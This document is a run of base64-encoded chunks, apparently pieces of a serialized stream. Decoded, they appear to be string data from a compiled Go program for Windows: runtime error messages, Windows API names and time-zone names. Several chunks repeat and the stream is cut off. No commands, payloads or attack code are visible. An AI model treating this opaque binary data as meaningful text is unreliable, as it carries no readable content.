Uc9ZXhlY3dhaXQ9MiBkZXRlY3RlZCBhIGxlYWtlZCBleGVjLkNtZCBjcmVhdGVkIGJ5OnJlZmxlY3Q6IHJlZmxlY3QuVmFsdWUuRWxlbSBvbiBhbiBpbnZhbGlkIG5vdGluaGVhcCBwb2ludGVydHJpZWQgdG8gdHJhY2UgZ29yb3V0aW5lIHdpdGggaW52YWxpZCBvciB1bnN1cHBvcnRlZCBzdGF0dXNyZWZsZWN0OiBjYWxsIG9mIHJlZmxlY3QuVmFsdWUuTGVuIG9uIHB0ciB0byBub24tYXJyYXkgVmFsdWVtYW51YWwgc3BhbiBhbGxvY2F0aW9uIGNhbGxlZCB3aXRoIG5vbi1tYW51YWxseS1tYW5hZ2VkIHR5cGVhZGRyIHJhbmdlIGJhc2UgYW5kIGxpbWl0IGFyZSBub3QgaW4gdGhlIHNhbWUgbWVtb3J5IHNlZ21lbnRydW50aW1lOiBuZXRwb2xsOiBQb3N0UXVldWVkQ29tcGxldGlvblN0YXR1cyBmYWlsZWQgKGVycm5vPSBydW50aW1lOiBtYWxmb3JtZWQgcHJvZkJ1ZiBidWZmZXIgLSB0YWcgYW5kIGRhdGEgb3V0IG9mIHN5bmNleGVjOiBDbWQgc3RhcnRlZCBhIFByb2Nlc3MgYnV0IGxlYWtlZCB3aXRob3V0IGEgY2FsbCB0byBXYWl0ICBpcyBpbiBhIHRpbnkgYmxvY2sgd2l0aCBvdGhlciAocG9zc2libHkgbG9uZy1saXZlZCkgdmFsdWVzcmVmbGVjdDogcmVmbGVjdC5WYWx1ZS5Qb2ludGVyIG9uIGFuIGludmFsaWQgbm90aW5oZWFwIHBvaW50ZXJmb3VuZCBiYWQgcG9pbnRlciBpbiBHbyBoZWFwIChpbmNvcnJlY3QgdXNlIG9mIHVuc2FmZSBvciBjZ28/KWxpbWl0ZXJFdmVudC5zdG9wOiBmb3VuZCB3cm9uZyBldmVudCBpbiBwJ3MgbGltaXRlciBldmVudCBzbG90cnVudGltZTogaW50ZXJuYWwgZXJyb3I6IG1pc3VzZSBvZiBsb2NrT1NUaHJlYWQvdW5sb2NrT1NUaHJlYWRydW50aW1lLkFkZENsZWFudXA6IHB0ciBpcyBlcXVhbCB0byBhcmcsIGNsZWFudXAgd2lsbCBuZXZlciBydW5pbnRlcm5hbC9zeW5jLkhhc2hUcmllTWFwOiByYW4gb3V0IG9mIGhhc2ggYml0cyB3aGlsZSBpdGVyYXRpbmdpbnRlcm4=d2:T554,cnVudGltZS5uZXdvc3Byb2NpbnRlcm5hbC9ydW50aW1lL3RocmVhZCBleGhhdXN0aW9ubG9ja2VkIG0wIHdva2UgdXBlbnRlcnN5c2NhbGxibG9jayBzcGlubmluZ3RocmVhZHM9Z3Aud2FpdGluZyAhPSBuaWx0YWdnZWRQb2ludGVyUGFja3Vua25vd24gY2FsbGVyIHBjc3RhY2s6IGZyYW1lPXtzcDp0cmFjZSBhcmVuYSBhbGxvY3J1bnRpbWU6IG5hbWVPZmYgcnVudGltZTogdHlwZU9mZiBydW50aW1lOiB0ZXh0T2ZmIHBlcm1pc3Npb24gZGVuaWVkd3JvbmcgbWVkaXVtIHR5cGVubyBkYXRhIGF2YWlsYWJsZWV4ZWMgZm9ybWF0IGVycm9yTG9va3VwQWNjb3VudFNpZFdEbnNSZWNvcmRMaXN0RnJlZUdldEN1cnJlbnRQcm9jZXNzR2V0U2hvcnRQYXRoTmFtZVdXU0FFbnVtUHJvdG9jb2xzV1JlZ0xvYWRNVUlTdHJpbmdXbXVsdGlwYXJ0bWF4cGFydHNyZWZsZWN0LlZhbHVlLlVpbnRHZXRFeGl0Q29kZVByb2Nlc3NDdWJhIFN0YW5kYXJkIFRpbWVPbXNrIFN0YW5kYXJkIFRpbWVBcmFiIFN0YW5kYXJkIFRpbWVJcmFuIFN0YW5kYXJkIFRpbWVSdXNzaWEgVGltZSBab25lIDNGaWppIFN0YW5kYXJkIFRpbWUyOTgwMjMyMjM4NzY5NTMxMjVyZWZsZWN0LlZhbHVlLkVsZW1yZWZsZWN0LlZhbHVlLlR5cGVHZXRTaWRTdWJBdXRob3JpdHlRdWVyeVNlcnZpY2VTdGF0dXNHZXRDb21wdXRlck5hbWVFeFdHZXRNb2R1bGVGaWxlTmFtZVdhZGFwdGl2ZXN0YWNrc3RhcnRkb250ZnJlZXpldGhld29ybGR0cmFjZWFkdmFuY2VwZXJpb2R0cmFjZWJhY2thbmNlc3RvcnNnYXJiYWdlIGNvbGxlY3Rpb25zeW5jLlJXTXV0ZXguUkxvY2tHQyB3b3JrZXIgKGFjdGl2ZSlzdG9wcGluZyB0aGUgd29ybGR3YWl0IHVudGlsIEdDIGVuZHNzeXN0ZW0gcGFnZSBzaXplICggIGJ1dCBtZW1vcnkgc2l6ZSAvZ2MvcGF1c2VzOnNlY29uZHMgYmVjYXVzZSBkb3Rkb3Rkb3RydW50aW1lOiBucGFnZXMgPSBpbnZhbGlkIHNraXAgdmFsdWVydW50aW1lOiByYW5nZSA9IHtpbmRleCBvdXQgb2YgcmFuZ2VydW50aW1lOiAgIGdwOiBncD1ydW50d3:T558,cnVudGltZS5uZXdvc3Byb2NpbnRlcm5hbC9ydW50aW1lL3RocmVhZCBleGhhdXN0aW9ubG9ja2VkIG0wIHdva2UgdXBlbnRlcnN5c2NhbGxibG9jayBzcGlubmluZ3RocmVhZHM9Z3Aud2FpdGluZyAhPSBuaWx0YWdnZWRQb2ludGVyUGFja3Vua25vd24gY2FsbGVyIHBjc3RhY2s6IGZyYW1lPXtzcDp0cmFjZSBhcmVuYSBhbGxvY3J1bnRpbWU6IG5hbWVPZmYgcnVudGltZTogdHlwZU9mZiBydW50aW1lOiB0ZXh0T2ZmIHBlcm1pc3Npb24gZGVuaWVkd3JvbmcgbWVkaXVtIHR5cGVubyBkYXRhIGF2YWlsYWJsZWV4ZWMgZm9ybWF0IGVycm9yTG9va3VwQWNjb3VudFNpZFdEbnNSZWNvcmRMaXN0RnJlZUdldEN1cnJlbnRQcm9jZXNzR2V0U2hvcnRQYXRoTmFtZVdXU0FFbnVtUHJvdG9jb2xzV1JlZ0xvYWRNVUlTdHJpbmdXbXVsdGlwYXJ0bWF4cGFydHNyZWZsZWN0LlZhbHVlLlVpbnRHZXRFeGl0Q29kZVByb2Nlc3NDdWJhIFN0YW5kYXJkIFRpbWVPbXNrIFN0YW5kYXJkIFRpbWVBcmFiIFN0YW5kYXJkIFRpbWVJcmFuIFN0YW5kYXJkIFRpbWVSdXNzaWEgVGltZSBab25lIDNGaWppIFN0YW5kYXJkIFRpbWUyOTgwMjMyMjM4NzY5NTMxMjVyZWZsZWN0LlZhbHVlLkVsZW1yZWZsZWN0LlZhbHVlLlR5cGVHZXRTaWRTdWJBdXRob3JpdHlRdWVyeVNlcnZpY2VTdGF0dXNHZXRDb21wdXRlck5hbWVFeFdHZXRNb2R1bGVGaWxlTmFtZVdhZGFwdGl2ZXN0YWNrc3RhcnRkb250ZnJlZXpldGhld29ybGR0cmFjZWFkdmFuY2VwZXJpb2R0cmFjZWJhY2thbmNlc3RvcnNnYXJiYWdlIGNvbGxlY3Rpb25zeW5jLlJXTXV0ZXguUkxvY2tHQyB3b3JrZXIgKGFjdGl2ZSlzdG9wcGluZyB0aGUgd29ybGR3YWl0IHVudGlsIEdDIGVuZHNzeXN0ZW0gcGFnZSBzaXplICggIGJ1dCBtZW1vcnkgc2l6ZSAvZ2MvcGF1c2VzOnNlY29uZHMgYmVjYXVzZSBkb3Rkb3Rkb3RydW50aW1lOiBucGFnZXMgPSBpbnZhbGlkIHNraXAgdmFsdWVydW50aW1lOiByYW5nZSA9IHtpbmRleCBvdXQgb2YgcmFuZ2VydW50aW1lOiAgIGdwOiBncD1ydW50aQ==d4:T554,cnVudGltZS5QaW5uZXI6IG9iamVjdCBhbHJlYWR5IHVucGlubmVkc3VzcGVuZEcgZnJvbSBub24tcHJlZW1wdGlibGUgZ29yb3V0aW5lcnVudGltZTogY2FzZnJvbV9Hc2NhbnN0YXR1cyBmYWlsZWQgZ3A9c3RhY2sgZ3Jvd3RoIG5vdCBhbGxvd2VkIGluIHN5c3RlbSBjYWxsdHJhY2ViYWNrOiB1bmV4cGVjdGVkIFNQV1JJVEUgZnVuY3Rpb24gdHJhY2VSZWdpb246IGFsbG9jIHdpdGggY29uY3VycmVudCBkcm9wdHJhbnNwb3J0IGVuZHBvaW50IGlzIGFscmVhZHkgY29ubmVjdGVkdGltZTogU3RvcCBjYWxsZWQgb24gdW5pbml0aWFsaXplZCBUaW1lcjEzODc3Nzg3ODA3ODE0NDU2NzU1Mjk1Mzk1ODUxMTM1MjUzOTA2MjU2OTM4ODkzOTAzOTA3MjI4Mzc3NjQ3Njk3OTI1NTY3NjI2OTUzMTI1cnl1RnRvYUZpeGVkMzIgY2FsbGVkIHdpdGggbmVnYXRpdmUgcHJlY01hcEl0ZXIuS2V5IGNhbGxlZCBvbiBleGhhdXN0ZWQgaXRlcmF0b3JpbnZhbGlkIHNwYW4gaW4gaGVhcEFyZW5hIGZvciB1c2VyIGFyZW5hYnVsa0JhcnJpZXJQcmVXcml0ZTogdW5hbGlnbmVkIGFyZ3VtZW50c3J1bnRpbWU6IHR5cGVCaXRzQnVsa0JhcnJpZXIgd2l0aCB0eXBlICByZWZpbGwgb2Ygc3BhbiB3aXRoIGZyZWUgc3BhY2UgcmVtYWluaW5nL2NwdS9jbGFzc2VzL3NjYXZlbmdlL2Fzc2lzdDpjcHUtc2Vjb25kc3J1bnRpbWUuU2V0RmluYWxpemVyOiBmaXJzdCBhcmd1bWVudCBpcyBmYWlsZWQgdG8gYWNxdWlyZSBsb2NrIHRvIHJlc2V0IGNhcGFjaXR5bWFya1dvcmtlclN0b3A6IHVua25vd24gbWFyayB3b3JrZXIgbW9kZWNhbm5vdCBmcmVlIHdvcmtidWZzIHdoZW4gd29yay5mdWxsICE9IDBydW50aW1lOiBvdXQgb2YgbWVtb3J5OiBjYW5ub3QgYWxsb2NhdGUgcnVudGltZS5wcmVlbXB0TTogZHVwbGljYXRlaGFuZGxlIGZhaWxlZHN0b3BUaGVXb3JsZDogYnJva2VuIENQVSB0aW1lIGFjY291bnRpbmdnbG9iYWwgcnVucSBlbXB0eSB3aXRoIG5vbi16ZXJvIHJ1bnFzaXplbXVzdCBiZSBhYmxlIHRvIHRyYWNrIGlkbGUgbGltd5:T558,cnVudGltZS5QaW5uZXI6IG9iamVjdCBhbHJlYWR5IHVucGlubmVkc3VzcGVuZEcgZnJvbSBub24tcHJlZW1wdGlibGUgZ29yb3V0aW5lcnVudGltZTogY2FzZnJvbV9Hc2NhbnN0YXR1cyBmYWlsZWQgZ3A9c3RhY2sgZ3Jvd3RoIG5vdCBhbGxvd2VkIGluIHN5c3RlbSBjYWxsdHJhY2ViYWNrOiB1bmV4cGVjdGVkIFNQV1JJVEUgZnVuY3Rpb24gdHJhY2VSZWdpb246IGFsbG9jIHdpdGggY29uY3VycmVudCBkcm9wdHJhbnNwb3J0IGVuZHBvaW50IGlzIGFscmVhZHkgY29ubmVjdGVkdGltZTogU3RvcCBjYWxsZWQgb24gdW5pbml0aWFsaXplZCBUaW1lcjEzODc3Nzg3ODA3ODE0NDU2NzU1Mjk1Mzk1ODUxMTM1MjUzOTA2MjU2OTM4ODkzOTAzOTA3MjI4Mzc3NjQ3Njk3OTI1NTY3NjI2OTUzMTI1cnl1RnRvYUZpeGVkMzIgY2FsbGVkIHdpdGggbmVnYXRpdmUgcHJlY01hcEl0ZXIuS2V5IGNhbGxlZCBvbiBleGhhdXN0ZWQgaXRlcmF0b3JpbnZhbGlkIHNwYW4gaW4gaGVhcEFyZW5hIGZvciB1c2VyIGFyZW5hYnVsa0JhcnJpZXJQcmVXcml0ZTogdW5hbGlnbmVkIGFyZ3VtZW50c3J1bnRpbWU6IHR5cGVCaXRzQnVsa0JhcnJpZXIgd2l0aCB0eXBlICByZWZpbGwgb2Ygc3BhbiB3aXRoIGZyZWUgc3BhY2UgcmVtYWluaW5nL2NwdS9jbGFzc2VzL3NjYXZlbmdlL2Fzc2lzdDpjcHUtc2Vjb25kc3J1bnRpbWUuU2V0RmluYWxpemVyOiBmaXJzdCBhcmd1bWVudCBpcyBmYWlsZWQgdG8gYWNxdWlyZSBsb2NrIHRvIHJlc2V0IGNhcGFjaXR5bWFya1dvcmtlclN0b3A6IHVua25vd24gbWFyayB3b3JrZXIgbW9kZWNhbm5vdCBmcmVlIHdvcmtidWZzIHdoZW4gd29yay5mdWxsICE9IDBydW50aW1lOiBvdXQgb2YgbWVtb3J5OiBjYW5ub3QgYWxsb2NhdGUgcnVudGltZS5wcmVlbXB0TTogZHVwbGljYXRlaGFuZGxlIGZhaWxlZHN0b3BUaGVXb3JsZDogYnJva2VuIENQVSB0aW1lIGFjY291bnRpbmdnbG9iYWwgcnVucSBlbXB0eSB3aXRoIG5vbi16ZXJvIHJ1bnFzaXplbXVzdCBiZSBhYmxlIHRvIHRyYWNrIGlkbGUgbGltaQ==d6:T554,c2U6Y3B1LXNlY29uZHMvY3B1L2NsYXNzZXMvZ2MvdG90YWw6Y3B1LXNlY29uZHMvZ2MvbGltaXRlci9sYXN0LWVuYWJsZWQ6Z2MtY3ljbGUvbWVtb3J5L2NsYXNzZXMvaGVhcC9zdGFja3M6Ynl0ZXMvbWVtb3J5L2NsYXNzZXMvaGVhcC91bnVzZWQ6Ynl0ZXMvc2NoZWQvcGF1c2VzL3N0b3BwaW5nL2djOnNlY29uZHMvc2NoZWQvcGF1c2VzL3RvdGFsL290aGVyOnNlY29uZHNtaW4gbXVzdCBiZSBhIG5vbi16ZXJvIHBvd2VyIG9mIDJydW50aW1lOiBmYWlsZWQgbVNwYW5MaXN0Lmluc2VydCBydW50aW1lOiBjYXN0b2dzY2Fuc3RhdHVzIG9sZHZhbD1zdG9wbG9ja2VkbTogaW5jb25zaXN0ZW50IGxvY2tpbmdmaW5kcnVubmFibGU6IG5lZ2F0aXZlIG5tc3Bpbm5pbmdmcmVlaW5nIHN0YWNrIG5vdCBpbiBhIHN0YWNrIHNwYW5zdGFja2FsbG9jIG5vdCBvbiBzY2hlZHVsZXIgc3RhY2tydW50aW1lOiBnb3JvdXRpbmUgc3RhY2sgZXhjZWVkcyBydW50aW1lOiB0ZXh0IG9mZnNldCBvdXQgb2YgcmFuZ2V0aW1lciBwZXJpb2QgbXVzdCBiZSBub24tbmVnYXRpdmV0b28gbWFueSBjb25jdXJyZW50IHRpbWVyIGZpcmluZ3NydW50aW1lOiBuYW1lIG9mZnNldCBvdXQgb2YgcmFuZ2VydW50aW1lOiB0eXBlIG9mZnNldCBvdXQgb2YgcmFuZ2V0b28gbWFueSBsZXZlbHMgb2Ygc3ltYm9saWMgbGlua3NJbml0aWFsaXplUHJvY1RocmVhZEF0dHJpYnV0ZUxpc3R3YWl0aW5nIGZvciB1bnN1cHBvcnRlZCBmaWxlIHR5cGVjYW4ndCB3YWl0IG9uIGJsb2NraW5nIG9wZXJhdGlvbnNjb25jdXJyZW50IG1hcCByZWFkIGFuZCBtYXAgd3JpdGV0YWJsZSBtdXN0IGhhdmUgcG9zaXRpdmUgY2FwYWNpdHlHT0RFQlVHOiBubyB2YWx1ZSBzcGVjaWZpZWQgZm9yICJOb0RlZmF1bHRDdXJyZW50RGlyZWN0b3J5SW5FeGVQYXRoMzU1MjcxMzY3ODgwMDUwMDkyOTM1NTYyMTMzNzg5MDYyNXJlZmxlY3Q6IEZpZWxkIG9mIG5vbi1zdHJ1Y3QgdHlwZSByZWZsZWN0OiBGaWVsZCBpbmRleCBvdXQgb2YgYm91bmRzcmVmbGVjdDogc3RyaW5nd7:T554,c3MgYWxyZWFkeSBpbiB1c2VuZXR3b3JrIGlzIHVucmVhY2hhYmxlY2Fubm90IGFsbG9jYXRlIG1lbW9yeXByb3RvY29sIG5vdCBhdmFpbGFibGVwcm90b2NvbCBub3Qgc3VwcG9ydGVkcmVtb3RlIGFkZHJlc3MgY2hhbmdlZENvbnZlcnRTaWRUb1N0cmluZ1NpZFdDb252ZXJ0U3RyaW5nU2lkVG9TaWRXR2V0RW52aXJvbm1lbnRTdHJpbmdzV0dldFRpbWVab25lSW5mb3JtYXRpb24lU3lzdGVtUm9vdCVcc3lzdGVtMzJcZXhpdCBob29rIGludm9rZWQgZXhpdDxpbnZhbGlkIHJlZmxlY3QuVmFsdWU+RS4gQWZyaWNhIFN0YW5kYXJkIFRpbWVUb2NhbnRpbnMgU3RhbmRhcmQgVGltZUFyZ2VudGluYSBTdGFuZGFyZCBUaW1lVmVuZXp1ZWxhIFN0YW5kYXJkIFRpbWVHcmVlbmxhbmQgU3RhbmRhcmQgVGltZVNyaSBMYW5rYSBTdGFuZGFyZCBUaW1lV2VzdCBCYW5rIFN0YW5kYXJkIFRpbWVReXp5bG9yZGEgU3RhbmRhcmQgVGltZVNpbmdhcG9yZSBTdGFuZGFyZCBUaW1lV2VzdCBBc2lhIFN0YW5kYXJkIFRpbWVHcmVlbndpY2ggU3RhbmRhcmQgVGltZUxvcmQgSG93ZSBTdGFuZGFyZCBUaW1lQXN0cmFraGFuIFN0YW5kYXJkIFRpbWVXLiBFdXJvcGUgU3RhbmRhcmQgVGltZUUuIEV1cm9wZSBTdGFuZGFyZCBUaW1lVm9sZ29ncmFkIFN0YW5kYXJkIFRpbWVNYXVyaXRpdXMgU3RhbmRhcmQgVGltZU1hcnF1ZXNhcyBTdGFuZGFyZCBUaW1lIiBub3QgZm91bmQgaW4gcmVnaXN0cnkyMzI4MzA2NDM2NTM4Njk2Mjg5MDYyNXJlZmxlY3QuVmFsdWUuSW50ZXJmYWNlcmVmbGVjdC5WYWx1ZS5OdW1NZXRob2RHZXRTaWRTdWJBdXRob3JpdHlDb3VudEltcGVyc29uYXRlTG9nZ2VkT25Vc2VyRGVzdHJveUVudmlyb25tZW50QmxvY2tpbmRleCBvdXQgb2YgcmFuZ2UgWyV4XVJlYWRNZW1TdGF0c1Nsb3cgKHRlc3QpY2hhbiByZWNlaXZlIChuaWwgY2hhbilnYXJiYWdlIGNvbGxlY3Rpb24gc2Nhbm1ha2VjaGFuOiBiYWQgYWxpZ25tZW50Y2xvc2Ugb2YgY2xvc2VkIGNoYW5uZWx1bmxvY2sgb2YgdW5sb2NrZWQgbG9jaykgbXVzd8:T558,c3MgYWxyZWFkeSBpbiB1c2VuZXR3b3JrIGlzIHVucmVhY2hhYmxlY2Fubm90IGFsbG9jYXRlIG1lbW9yeXByb3RvY29sIG5vdCBhdmFpbGFibGVwcm90b2NvbCBub3Qgc3VwcG9ydGVkcmVtb3RlIGFkZHJlc3MgY2hhbmdlZENvbnZlcnRTaWRUb1N0cmluZ1NpZFdDb252ZXJ0U3RyaW5nU2lkVG9TaWRXR2V0RW52aXJvbm1lbnRTdHJpbmdzV0dldFRpbWVab25lSW5mb3JtYXRpb24lU3lzdGVtUm9vdCVcc3lzdGVtMzJcZXhpdCBob29rIGludm9rZWQgZXhpdDxpbnZhbGlkIHJlZmxlY3QuVmFsdWU+RS4gQWZyaWNhIFN0YW5kYXJkIFRpbWVUb2NhbnRpbnMgU3RhbmRhcmQgVGltZUFyZ2VudGluYSBTdGFuZGFyZCBUaW1lVmVuZXp1ZWxhIFN0YW5kYXJkIFRpbWVHcmVlbmxhbmQgU3RhbmRhcmQgVGltZVNyaSBMYW5rYSBTdGFuZGFyZCBUaW1lV2VzdCBCYW5rIFN0YW5kYXJkIFRpbWVReXp5bG9yZGEgU3RhbmRhcmQgVGltZVNpbmdhcG9yZSBTdGFuZGFyZCBUaW1lV2VzdCBBc2lhIFN0YW5kYXJkIFRpbWVHcmVlbndpY2ggU3RhbmRhcmQgVGltZUxvcmQgSG93ZSBTdGFuZGFyZCBUaW1lQXN0cmFraGFuIFN0YW5kYXJkIFRpbWVXLiBFdXJvcGUgU3RhbmRhcmQgVGltZUUuIEV1cm9wZSBTdGFuZGFyZCBUaW1lVm9sZ29ncmFkIFN0YW5kYXJkIFRpbWVNYXVyaXRpdXMgU3RhbmRhcmQgVGltZU1hcnF1ZXNhcyBTdGFuZGFyZCBUaW1lIiBub3QgZm91bmQgaW4gcmVnaXN0cnkyMzI4MzA2NDM2NTM4Njk2Mjg5MDYyNXJlZmxlY3QuVmFsdWUuSW50ZXJmYWNlcmVmbGVjdC5WYWx1ZS5OdW1NZXRob2RHZXRTaWRTdWJBdXRob3JpdHlDb3VudEltcGVyc29uYXRlTG9nZ2VkT25Vc2VyRGVzdHJveUVudmlyb25tZW50QmxvY2tpbmRleCBvdXQgb2YgcmFuZ2UgWyV4XVJlYWRNZW1TdGF0c1Nsb3cgKHRlc3QpY2hhbiByZWNlaXZlIChuaWwgY2hhbilnYXJiYWdlIGNvbGxlY3Rpb24gc2Nhbm1ha2VjaGFuOiBiYWQgYWxpZ25tZW50Y2xvc2Ugb2YgY2xvc2VkIGNoYW5uZWx1bmxvY2sgb2YgdW5sb2NrZWQgbG9jaykgbXVzdA==d9:T554,dGVyIGV2ZW50cnVudGltZTogU3lzY2FsbE4gaGFzIHRvbyBtYW55IGFyZ3VtZW50c2dvcm91dGluZSBzdGFjayBzaXplIGlzIG5vdCBhIHBvd2VyIG9mIDJhZGRyZXNzIGZhbWlseSBub3Qgc3VwcG9ydGVkIGJ5IHByb3RvY29sdW5leHBlY3RlZCBjYWxsIHRvIG9zLkV4aXQoMCkgZHVyaW5nIHRlc3QzNDY5NDQ2OTUxOTUzNjE0MTg4ODIzODQ4OTYyNzgzODEzNDc2NTYyNXN0cmNvbnY6IGlsbGVnYWwgQXBwZW5kSW50L0Zvcm1hdEludCBiYXNlY2FuJ3QgY2FsbCBwb2ludGVyIG9uIGEgbm9uLXBvaW50ZXIgVmFsdWVNYXBJdGVyLk5leHQgY2FsbGVkIG9uIGV4aGF1c3RlZCBpdGVyYXRvcnJ1bnRpbWU6IHR5cGVCaXRzQnVsa0JhcnJpZXIgd2l0aG91dCB0eXBlV0FSTklORzogTElLRUxZIENMRUFOVVAvRklOQUxJWkVSIElTU1VFUy9tZW1vcnkvY2xhc3Nlcy9tZXRhZGF0YS9tc3Bhbi9mcmVlOmJ5dGVzcnVudGltZS5TZXRGaW5hbGl6ZXI6IHNlY29uZCBhcmd1bWVudCBpcyBnY1N3ZWVwIGJlaW5nIGRvbmUgYnV0IHBoYXNlIGlzIG5vdCBHQ29mZm9iamVjdHMgYWRkZWQgb3V0IG9mIG9yZGVyIG9yIG92ZXJsYXBwaW5nbWhlYXAuZnJlZVNwYW5Mb2NrZWQgLSBpbnZhbGlkIHN0YWNrIGZyZWVtaGVhcC5mcmVlU3BhbkxvY2tlZCAtIGludmFsaWQgc3BhbiBzdGF0ZWF0dGVtcHRlZCB0byBhZGQgemVyby1zaXplZCBhZGRyZXNzIHJhbmdlcnVudGltZTogYmxvY2tlZCByZWFkIG9uIGNsb3NpbmcgcG9sbGRlc2NydW50aW1lOiBTZXRXYWl0YWJsZVRpbWVyIGZhaWxlZDsgZXJybm89IHN0b3BUaGVXb3JsZDogbm90IHN0b3BwZWQgKHN0b3B3YWl0ICE9IDApaW52YWxpZCB0aW1lcjogZmFrZSB0aW1lIGJ1dCBubyBzeW5jZ3JvdXBydW50aW1lLkFkZENsZWFudXA6IHB0ciBpcyBhcmVuYS1hbGxvY2F0ZWQxNzM0NzIzNDc1OTc2ODA3MDk0NDExOTI0NDgxMzkxOTA2NzM4MjgxMjU4NjczNjE3Mzc5ODg0MDM1NDcyMDU5NjIyNDA2OTU5NTMzNjkxNDA2MjVNYXBJdGVyLlZhbHVlIGNhbGxlZCBvbiBleGhhdXM=da:T554,dGVyIGV2ZW50cnVudGltZTogU3lzY2FsbE4gaGFzIHRvbyBtYW55IGFyZ3VtZW50c2dvcm91dGluZSBzdGFjayBzaXplIGlzIG5vdCBhIHBvd2VyIG9mIDJhZGRyZXNzIGZhbWlseSBub3Qgc3VwcG9ydGVkIGJ5IHByb3RvY29sdW5leHBlY3RlZCBjYWxsIHRvIG9zLkV4aXQoMCkgZHVyaW5nIHRlc3QzNDY5NDQ2OTUxOTUzNjE0MTg4ODIzODQ4OTYyNzgzODEzNDc2NTYyNXN0cmNvbnY6IGlsbGVnYWwgQXBwZW5kSW50L0Zvcm1hdEludCBiYXNlY2FuJ3QgY2FsbCBwb2ludGVyIG9uIGEgbm9uLXBvaW50ZXIgVmFsdWVNYXBJdGVyLk5leHQgY2FsbGVkIG9uIGV4aGF1c3RlZCBpdGVyYXRvcnJ1bnRpbWU6IHR5cGVCaXRzQnVsa0JhcnJpZXIgd2l0aG91dCB0eXBlV0FSTklORzogTElLRUxZIENMRUFOVVAvRklOQUxJWkVSIElTU1VFUy9tZW1vcnkvY2xhc3Nlcy9tZXRhZGF0YS9tc3Bhbi9mcmVlOmJ5dGVzcnVudGltZS5TZXRGaW5hbGl6ZXI6IHNlY29uZCBhcmd1bWVudCBpcyBnY1N3ZWVwIGJlaW5nIGRvbmUgYnV0IHBoYXNlIGlzIG5vdCBHQ29mZm9iamVjdHMgYWRkZWQgb3V0IG9mIG9yZGVyIG9yIG92ZXJsYXBwaW5nbWhlYXAuZnJlZVNwYW5Mb2NrZWQgLSBpbnZhbGlkIHN0YWNrIGZyZWVtaGVhcC5mcmVlU3BhbkxvY2tlZCAtIGludmFsaWQgc3BhbiBzdGF0ZWF0dGVtcHRlZCB0byBhZGQgemVyby1zaXplZCBhZGRyZXNzIHJhbmdlcnVudGltZTogYmxvY2tlZCByZWFkIG9uIGNsb3NpbmcgcG9sbGRlc2NydW50aW1lOiBTZXRXYWl0YWJsZVRpbWVyIGZhaWxlZDsgZXJybm89IHN0b3BUaGVXb3JsZDogbm90IHN0b3BwZWQgKHN0b3B3YWl0ICE9IDApaW52YWxpZCB0aW1lcjogZmFrZSB0aW1lIGJ1dCBubyBzeW5jZ3JvdXBydW50aW1lLkFkZENsZWFudXA6IHB0ciBpcyBhcmVuYS1hbGxvY2F0ZWQxNzM0NzIzNDc1OTc2ODA3MDk0NDExOTI0NDgxMzkxOTA2NzM4MjgxMjU4NjczNjE3Mzc5ODg0MDM1NDcyMDU5NjIyNDA2OTU5NTMzNjkxNDA2MjVNYXBJdGVyLlZhbHVlIGNhbGxlZCBvbiBleGhhdXN0db:T554,dGVyaW5idXJnIFN0YW5kYXJkIFRpbWVFLiBBdXN0cmFsaWEgU3RhbmRhcmQgVGltZVcuIEF1c3RyYWxpYSBTdGFuZGFyZCBUaW1lQm91Z2FpbnZpbGxlIFN0YW5kYXJkIFRpbWVMaW5lIElzbGFuZHMgU3RhbmRhcmQgVGltZVdlc3QgUGFjaWZpYyBTdGFuZGFyZCBUaW1lMTQ1NTE5MTUyMjgzNjY4NTE4MDY2NDA2MjU3Mjc1OTU3NjE0MTgzNDI1OTAzMzIwMzEyNXVua25vd24gQUJJIHBhcmFtZXRlciBraW5kU2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGVSdGxOdFN0YXR1c1RvRG9zRXJyb3JOb1RlYmFsbCBnb3JvdXRpbmVzIHN0YWNrIHRyYWNlR0MgYmFja2dyb3VuZCBzd2VlcGVyIHdhaXRjYWxsIGZyb20gdW5rbm93biBmdW5jdGlvbm5vdGV3YWtldXAgLSBkb3VibGUgd2FrZXVwcGVyc2lzdGVudGFsbG9jOiBzaXplID09IDAvZ2MvY3ljbGVzL3RvdGFsOmdjLWN5Y2xlc2JhZCB0eXBlIGtpbmQgaW4gZmluYWxpemVybmVnYXRpdmUgaWRsZSBtYXJrIHdvcmtlcnN1c2Ugb2YgaW52YWxpZCBzd2VlcExvY2tlcnJ1bnRpbWU6IGJhZCBzcGFuIHMuc3RhdGU9Zm9yRWFjaFA6IFAgZGlkIG5vdCBydW4gZm53YWtlcDogbmVnYXRpdmUgbm1zcGlubmluZ3N0YXJ0bG9ja2VkbTogbG9ja2VkIHRvIG1laW5pdHRhc2sgd2l0aCBubyBmdW5jdGlvbnNjb3JydXB0ZWQgc2VtYXBob3JlIHRpY2tldG91dCBvZiBtZW1vcnkgKHN0YWNrYWxsb2Mpc2hyaW5raW5nIHN0YWNrIGluIGxpYmNhbGxydW50aW1lOiBwY0hlYWRlcjogbWFnaWM9IHRyYWNlUmVnaW9uOiBvdXQgb2YgbWVtb3J5aW52YWxpZCByZXF1ZXN0IGRlc2NyaXB0b3JubyBDU0kgc3RydWN0dXJlIGF2YWlsYWJsZXJlcXVpcmVkIGtleSBub3QgYXZhaWxhYmxlbm8gbWVzc2FnZSBvZiBkZXNpcmVkIHR5cGVuYW1lIG5vdCB1bmlxdWUgb24gbmV0d29ya0NlcnRGcmVlQ2VydGlmaWNhdGVDb250ZXh0UG9zdFF1ZXVlZENvbXBsZXRpb25TdGF0dXNpbmNvbnNpc3RlbnQgcHJvY2VzcyBzdGF0dXNFYXN0ZXIgSXNsYW5kIFN0YW5kYXJkIFRpbWUzNjM3OTc4ODA3dc:T558,dGVyaW5idXJnIFN0YW5kYXJkIFRpbWVFLiBBdXN0cmFsaWEgU3RhbmRhcmQgVGltZVcuIEF1c3RyYWxpYSBTdGFuZGFyZCBUaW1lQm91Z2FpbnZpbGxlIFN0YW5kYXJkIFRpbWVMaW5lIElzbGFuZHMgU3RhbmRhcmQgVGltZVdlc3QgUGFjaWZpYyBTdGFuZGFyZCBUaW1lMTQ1NTE5MTUyMjgzNjY4NTE4MDY2NDA2MjU3Mjc1OTU3NjE0MTgzNDI1OTAzMzIwMzEyNXVua25vd24gQUJJIHBhcmFtZXRlciBraW5kU2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGVSdGxOdFN0YXR1c1RvRG9zRXJyb3JOb1RlYmFsbCBnb3JvdXRpbmVzIHN0YWNrIHRyYWNlR0MgYmFja2dyb3VuZCBzd2VlcGVyIHdhaXRjYWxsIG